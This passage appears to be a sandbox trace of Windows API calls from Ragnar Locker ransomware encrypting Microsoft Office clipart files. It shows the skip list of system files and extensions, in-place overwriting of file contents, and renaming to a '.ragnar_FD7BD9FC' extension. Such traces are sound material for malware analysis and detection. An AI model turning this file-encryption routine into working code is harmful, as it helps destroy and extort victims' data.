(lpString1="J0151061.WMF", lpString2="ntuser.dat.log") returned -1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="ntuser.ini") returned -1 [0084.679] lstrcmpiW (lpString1="J0151061.WMF", lpString2="thumbs.db") returned -1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.679] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0084.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6752) returned 1 [0084.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.680] GetProcessHeap () returned 0x580000 [0084.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.681] VirtualAlloc (lpAddress=0x0, dwSize=0x1a60, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a60, lpOverlapped=0x0) returned 1 [0084.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a60, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a60, lpOverlapped=0x0) returned 1 [0084.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.683] GetProcessHeap () returned 0x580000 [0084.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.683] CloseHandle (hObject=0xf4) returned 1 [0084.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" [0084.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ragnar_FD7BD9FC" [0084.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0084.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151063.WMF" | out: lpString1="J0151063.WMF") returned="J0151063.WMF" [0084.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned=".WMF" [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="autorun.inf") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="boot.ini") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="bootfont.bin") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="bootsect.bak") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="bootmgr") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="bootmgr.efi") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="bootmgfw.efi") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="desktop.ini") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="iconcache.db") returned 1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="ntldr") returned -1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="ntuser.dat") returned -1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="ntuser.dat.log") returned -1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="ntuser.ini") returned -1 [0084.684] lstrcmpiW (lpString1="J0151063.WMF", lpString2="thumbs.db") returned -1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0084.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.685] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10632) returned 1 [0084.685] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x297f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.685] GetProcessHeap () returned 0x580000 [0084.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.685] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2988, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.687] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2988, lpOverlapped=0x0) returned 1 [0084.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2988, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.688] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2988, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2988, lpOverlapped=0x0) returned 1 [0084.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2988, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.688] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.689] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.689] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.689] GetProcessHeap () returned 0x580000 [0084.689] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.689] CloseHandle (hObject=0xf4) returned 1 [0084.689] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" [0084.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ragnar_FD7BD9FC" [0084.689] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.690] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0084.690] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.690] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151067.WMF" | out: lpString1="J0151067.WMF") returned="J0151067.WMF" [0084.690] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned=".WMF" [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="autorun.inf") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="boot.ini") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="bootfont.bin") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="bootsect.bak") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="bootmgr") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="bootmgr.efi") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="bootmgfw.efi") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="desktop.ini") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="iconcache.db") returned 1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="ntldr") returned -1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="ntuser.dat") returned -1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="ntuser.dat.log") returned -1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="ntuser.ini") returned -1 [0084.690] lstrcmpiW (lpString1="J0151067.WMF", lpString2="thumbs.db") returned -1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0084.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13204) returned 1 [0084.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x338b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.691] GetProcessHeap () returned 0x580000 [0084.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.695] VirtualAlloc (lpAddress=0x0, dwSize=0x3394, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.696] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3394, lpOverlapped=0x0) returned 1 [0084.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3394, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.697] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3394, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3394, lpOverlapped=0x0) returned 1 [0084.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3394, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.697] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.697] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.698] GetProcessHeap () returned 0x580000 [0084.698] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.698] CloseHandle (hObject=0xf4) returned 1 [0084.698] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" [0084.698] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ragnar_FD7BD9FC" [0084.698] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.699] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0084.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.699] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151073.WMF" | out: lpString1="J0151073.WMF") returned="J0151073.WMF" [0084.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned=".WMF" [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="autorun.inf") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="boot.ini") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="bootfont.bin") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="bootsect.bak") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="bootmgr") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="bootmgr.efi") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="bootmgfw.efi") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="desktop.ini") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="iconcache.db") returned 1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="ntldr") returned -1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="ntuser.dat") returned -1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="ntuser.dat.log") returned -1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="ntuser.ini") returned -1 [0084.699] lstrcmpiW (lpString1="J0151073.WMF", lpString2="thumbs.db") returned -1 [0084.699] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.700] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0084.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: 